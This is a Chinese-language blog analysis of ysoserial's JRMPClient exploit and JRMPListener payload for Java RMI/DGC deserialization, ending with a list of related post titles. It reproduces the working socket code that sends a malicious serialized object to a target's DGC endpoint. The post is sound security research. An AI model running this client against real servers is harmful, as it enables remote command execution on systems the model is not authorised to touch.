java 反序列化 ysoserial exploit/JRMPClient 原理剖析
目录
0 前言
1 payloads/JRMPListener
1.1 payload生成
1.2 gadget链分析
2 使用RMIRegistryExploit攻击上述开启的监听
3 exploit/JRMPClient
3.1 分布式垃圾收集(DGC)
3.2 exploit/JRMPClient代码分析
4 总结
0 前言
ysoserial中的exploit/JRMPClient是作为攻击方的代码,一般会结合payloads/JRMPLIstener使用,攻击流程就是:
1、先往存在漏洞的服务器发送payloads/JRMPLIstener,使服务器反序列化该payload后,会开启一个rmi服务并监听在设置的端口
2、然后攻击方在自己的服务器使用exploit/JRMPClient与存在漏洞的服务器进行通信,并且发送一个可命令执行的payload(假如存在漏洞的服务器中有使用org.apacje.commons.collections包,则可以发送CommonsCollections系列的payload),从而达到命令执行的结果。
下面就分别分析一下exploit/JRMPClient与payloads/JRMPLIstener
1 payloads/JRMPListener
1.1 payload生成
首先分析payloads/JRMPLIstener,这部分代码量很少,我给代码添加了注释以便理解:
public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {public UnicastRemoteObject getObject(final String command) throws Exception {//设置jrmp监听端口int jrmpPort = Integer.parseInt(command);//调用RemoteObject类的构造方法,new UnicastServerRef(jrmpPort)作为构造方法的参数,然后返回一个ActivationGroupImpl类型的对象UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[]{RemoteRef.class}, new Object[]{new UnicastServerRef(jrmpPort)});//通过反射设置uro对象中的port属性值为jrmpPortReflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);return uro;}}
同时我也给Reflections.createWithConstructor方法添加了注释,如下:
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {//获取constructorClass类的构造方法,从泛型限定来看,constructorClass为classToInstantiate的父类Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);setAccessible(objCons);//这里会根据constructorClass父类的构造方法新建一个构造方法,但使用该构造方法newInstance出的对象为constructorClass类型Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);setAccessible(sc);//调用constructorClass父类的构造方法,将consArgs作为参数,返回constructorClass类型的对象return (T)sc.newInstance(consArgs);
}
通过以上代码的分析,最后知道了生成的payload对象为ActivationGroupImpl类型,并将其向上转型为其父类UnicastRemoteObject类型。明白该payload怎么生成后,就该分析它的gadget链了。
1.2 gadget链分析
下面是作者给出的整个调用链:
Gadget chain:* UnicastRemoteObject.readObject(ObjectInputStream) line: 235* UnicastRemoteObject.reexport() line: 266* UnicastRemoteObject.exportObject(Remote, int) line: 320* UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383* UnicastServerRef.exportObject(Remote, Object, boolean) line: 208* LiveRef.exportObject(Target) line: 147* TCPEndpoint.exportObject(Target) line: 411* TCPTransport.exportObject(Target) line: 249* TCPTransport.listen() line: 319
我们就根据上述链去分析相应的代码:
1、虽然生成的payload实际对象为ActivationGroupImpl类型,但其被向上转型为了UnicastRemoteObject类型,所以在反序列化时自然会先执行UnicastRemoteObjec的readObject方法,因此在该方法中下断点,如下:
2、跟入reexport()方法,可以看到执行到了如下位置:
3、继续跟进,这里就很熟悉了,在前一篇调试RMI时,后面的流程已经走完了:
4、最终到了TCPTransport类的exportObject(Target var1)方法,如下,即开启了监听,只不过其导出的对象为上述生成的payload本身而已:
到这里,就明白了如果服务端反序列化了该payload,即可开启rmi监听。
2 使用RMIRegistryExploit攻击上述开启的监听
我想既然服务端开启了rmi监听,那客户端应该也是可以使用RMIRegistryExploit去攻击的,但是出现了如下错误:
1、因此还是用调试RMI时的思路,在TCPTransport类的handleMessages(Connection var1, boolean var2)方法中设置断点,客户端代码很简单:
2、运行客户端代码,服务端即运行到了如下断点位置,可以看到var5值为116,而我们之前调试RMI时,var5的值为80,因此在下面的switch分支中就与正常RMI通信时出现了偏差。
可以看到下面进入了switch的default分支,然后抛出了异常,最终断开了与客户端的连接。
因此使用RMIRegistryExploit时无法攻击payloads/JRMPLIstener开启的rmi监听的。
3 exploit/JRMPClient
下面分析一下exploit/JRMPClient是如何与payloads/JRMPLIstener开启的rmi监听进行通信的。先看一下作者对这个exp的描述:
Generic JRMP client** Pretty much the same thing as {@link RMIRegistryExploit} but* - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)* - not deserializing anything (so you don't get yourself exploited ;))
首先说的是这个exp是与RMIRegistryExploit类似的一种攻击方式,在前面第二章我们已经试过了 RMIRegistryExploit是无法成功攻击的。后面列举了两点:
1、攻击目标是远程DGC,也就是分布式垃圾收集,只要服务端有listener监听,就一定存在DGC。
2、不反序列化任何数据,意思就是客户端不会接受任何服务端发送的数据,这样就避免了被对方反过来进行攻击。
3.1 分布式垃圾收集(DGC)
这里就先简单了解一下分布式垃圾收集
在Java虚拟机中,对于一个本地对象,只要不被本地Java虚拟机中的任何变量引用,它就可以被垃圾回收器回收了。
而对于一个远程对象,不仅会被本地Java虚拟机中的变量引用还会被远程引用。如将远程对象注册到Rregistry时,Registry注册表就会持有它的远程引用。
RMI框架采用分布式垃圾收集机制(DGC,Distributed Garbage Collection)来管理远程对象的生命周期。DGC的主要规则是,只有当一个远程对象不受任何本地引用和远程引用,这个远程对象才会结束生命周期。
当客户端获得了一个服务器端的远程对象存根时,就会向服务器发送一条租约通知,告诉服务器自己持有这个远程对象的引用了。此租约有一个租约期限,租约期限可通过系统属性java.rmi.dgc.leaseValue来设置,以毫秒为单位,其默认值为600 000毫秒。如果租约到期后服务器端没有继续收到客户端新的租约通知,服务器端就会认为这个客户已经不再持有远程对象的引用。
因此可以通过与DGC通信的方式发送恶意payload让服务端进行反序列化,从而执行任意命令。
下面我们先动态调试一下DGC相关的通信流程,然后返过去去理解exploit/JRMPClient的代码效果更好:
1、借用之前分析RMI的经验,我仍然在TCPTransport类的handleMessages(Connection var1, boolean var2)方法中设置断点,然后用exploit/JRMPClient去打开启的监听端口,果然在该方法中的断点处停了下来,通过查看调用栈,如下:
我们先看一下handleMessages的上一级调用,即TCPTransport$ConnectionHandler.run0方法,可以看到读取了一个int数据:
下图又读取了一个short数据,接着读取了一个byte数据,但显示的调试信息有错,因为var15应该为76:
于是switch进入下面的case76,继而进入handleMessage方法中:
2、我们接着回到handleMessages方法中,看到读取了int数据80,于是进入了switch中的case80分支:
2、继续跟进,到了Transport类的serviceCall(final RemoteCall var1)方法:
(1)先进入ObjID.read()方法,可以看到先读取了一个long型数据:
再进入UID.read方法,可以看到连续读取了int、long、short三个数据:
所以上面执行ObjID.read()方法的过程中就是通过读取数据最终生成一个ObjID对象,并且在下图中,会用该ObjID对象与dgcID作比较,dgcID如下:
如上最终dgcID生成的结构就是[0:0:0, 2]。与上面执行ObjID.read()方法生成的ObjID值是一样的。
(2)接着往下看还不仍然是获取了Target对象,由于ObjID值与dgcID值相同,因此最终生成的Target对象是DGCImpl类型的,后面同样获取了Target的Dispatcher,然后使用它的dispatch方法进行分派。
3、同样的,在UnicastServerRef类中的dispatch(Remote var1, RemoteCall var2)方法中读取了一个int值,这里调试信息显示错误,应该是var3的值为1
4、接着有读取了一个long值,如下,依然有错误,应该是var4的值:
5、 接着进入了DGCImpl_Skel类的dispatch(Remote var1, RemoteCall var2, int var3, long var4),
从前面知道var3值为1,因此进入switch的case1分支,这里就会对exploit/JRMPClient发送的恶意payload进行反序列化,从而执行其中包含的任意命令。
到了这里,整个DGC调用的流程也走完了,同时发送的payload中包含的命令也执行了。
3.2 exploit/JRMPClient代码分析
经过上面的3.1节的调试,下面的代码就很容易理解了,并且我也对关键代码做了注释,如下:
1、先看JRMPClient类的main方法,主要的就如下添加注释的两行代码:
public static final void main ( final String[] args ) {if ( args.length < 4 ) {System.err.println(JRMPClient.class.getName() + " <host> <port> <payload_type> <payload_arg>");System.exit(-1);}//生成指定的命令执行的payloadObject payloadObject = Utils.makePayloadObject(args[2], args[3]);String hostname = args[ 0 ];int port = Integer.parseInt(args[ 1 ]);try {System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port));//通信方法makeDGCCall(hostname, port, payloadObject);}catch ( Exception e ) {e.printStackTrace(System.err);}Utils.releasePayload(args[2], payloadObject);}
2、下面就看主要的通信方法makeDGCCall了,其发送的通信数据在上面调试中均已发现其具体作用,我也进行了注释:
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {InetSocketAddress isa = new InetSocketAddress(hostname, port);Socket s = null;DataOutputStream dos = null;try {//创建与使用payloads/JRMPLIstener开启监听的rmi服务的Socket通信s = SocketFactory.getDefault().createSocket(hostname, port);s.setKeepAlive(true);s.setTcpNoDelay(true);//获取Socket的输出流OutputStream os = s.getOutputStream();//将输出流包装成DataOutputStream流对象dos = new DataOutputStream(os);//下面发送了三组数据,是在服务端TCPTransport类的handleMessages方法调用前通信的数据dos.writeInt(TransportConstants.Magic); // 1246907721;dos.writeShort(TransportConstants.Version); // 2dos.writeByte(TransportConstants.SingleOpProtocol); // 76//在TCPTransport类的handleMessages方法中获取到了80dos.write(TransportConstants.Call); //80//下面依然是往服务器发送数据,但是经过了序列化处理@SuppressWarnings ( "resource" )final ObjectOutputStream objOut = new MarshalOutputStream(dos);//下面四组数据最终发到服务端是用来创建ObjID对象,并且值与dgcID[0:0:0, 2]相同objOut.writeLong(2); // DGCobjOut.writeInt(0);objOut.writeLong(0);objOut.writeShort(0);//下面数据是在服务端每一个dispatch方法中获取的objOut.writeInt(1); // dirtyobjOut.writeLong(-669196253586618813L);//前面经过那么多数据的通信,到了这里就可以发送恶意payload了,服务端会对其进行反序列化处理。objOut.writeObject(payloadObject);os.flush();}finally {if ( dos != null ) {dos.close();}if ( s != null ) {s.close();}}}
4 总结
终于把ysoserial exploit/JRMPClient中的代码原理搞清楚了,有了前一篇分析RMI的经验,本次分析DGC也得心应手了许多。
1、exploit/JRMPClient与exploit/RMIRegistryExploit类似,可以攻击任何RMIServer,但exploit/JRMPClient是通过dgc通信进行攻击,而exploit/RMIRegistryExploit是通过bind方法绑定恶意payload进行攻击。
2、exploit/JRMPClient可以结合payloads/JRMPListener进行攻击,但exploit/RMIRegistryExploit不能结合payloads/JRMPListener进行攻击
3、JEP 290之后,对RMI注册表和分布式垃圾收集(DGC)新增了内置过滤器,以上攻击方式均失效了。
java 反序列化 ysoserial exploit/JRMPClient 原理剖析相关推荐
- java 反序列化 ysoserial exploit/JRMPListener 原理剖析
目录 0 前言 1 payloads/JRMPClient 1.1 Externalizable 1.2 生成payload 1.3 gadget链分析 2 exploit/JRMPListener ...
- 并发编程笔记——第六章 Java并发包中锁原理剖析
一.LockSupport工具类 JDK中的rt.jar包里的LockSupport是个工具类,它的主要作用是挂起和唤醒线程,该工具类是创建锁和其他同步类的基础.LockSupport类与每个使用它的 ...
- java熔断_Hystrix熔断机制原理剖析
一.前言 在分布式系统架构中多个系统之间通常是通过远程RPC调用进行通信,也就是 A 系统调用 B 系统服务,B 系统调用 C 系统的服务.当尾部应用 C 发生故障而系统 B 没有服务降级时候可能会导 ...
- common-collections中Java反序列化漏洞导致的RCE原理分析
2019独角兽企业重金招聘Python工程师标准>>> common-collections中Java反序列化漏洞导致的RCE原理分析 隐形人真忙 · 2015/11/11 22:4 ...
- Java反序列化漏洞研究
Java反序列化漏洞研究 漏洞原理 java序列化就是把对象转换成字节流,便于保存在内存.文件.数据库中:反序列化即逆过程,由字节流还原成对象.当反序列化的输入来源于程序外部,可以被用户控制,恶意用户 ...
- (38)【JAVA反序列化漏洞】简介、原理、工具、环境、靶场、思路
目录 一.简介: 二.原理: 2.1.Java对象: 2.2.Java 序列化: 2.3.Java 反序列化: 三.函数: 四.工具: 4.1.ysoserial 0.0.4版 4.2. payloa ...
- java 反序列化工具 marshalsec改造 加入dubbo-hessian2 exploit
0x00 前言 1. 描述 官方github描述: Java Unmarshaller Security - Turning your data into code execution "将 ...
- ysoserial java 反序列化 Groovy1
ysoserial简介 ysoserial是一款在Github开源的知名java 反序列化利用工具,里面集合了各种java反序列化payload: 由于其中部分payload使用到的低版本JDK中的类 ...
- java安全(六)java反序列化2,ysoserial调试
给个关注?宝儿! 给个关注?宝儿! 给个关注?宝儿! 关注公众号:b1gpig信息安全,文章推送不错过 ysoserial 下载地址:https://github.com/angelwhu/ysose ...
最新文章
- IBM发布Open Liberty 18.0.0.4,支持MicroProfile 2.1和反应性扩展框架
- Redis进阶-无所不知的info命令诊断redis
- SourceInsight 汉化
- 作业21-加载静态文件,父模板的继承和扩展
- [Swift]LeetCode944. 删除列以使之有序 | Delete Columns to Make Sorted
- 学习、掌握运营岗位必备的基本能力和思维
- [置顶] 读取pdf并且在web页面中显示
- 阿里云搭建流媒体服务器
- C# WinForm调用Shell_NotifyIcon
- 嵌入式软件开发之程序架构(一)
- Unity3D插件 Doozy UI 学习(一):打开一个面板
- Unity Loading转场学习笔记
- 文本识别OCR浅析:特征篇
- C# Bitmap GetPixel 效率太低,太慢的替代方法
- 关于默认网关不可用,DNS服务器未响应问题
- 关于windows系统中txt文档的换行符\r\n
- iphoneXR的tabbar底部图片的适配
- python篮球弹跳训练方法_弹跳训练的正确方法,90%人都不知道|NBA球队弹跳训练解密...
- Bounding box regression RCNN我的理解
- 转-赵青-《剑侠情缘网络版》开发回顾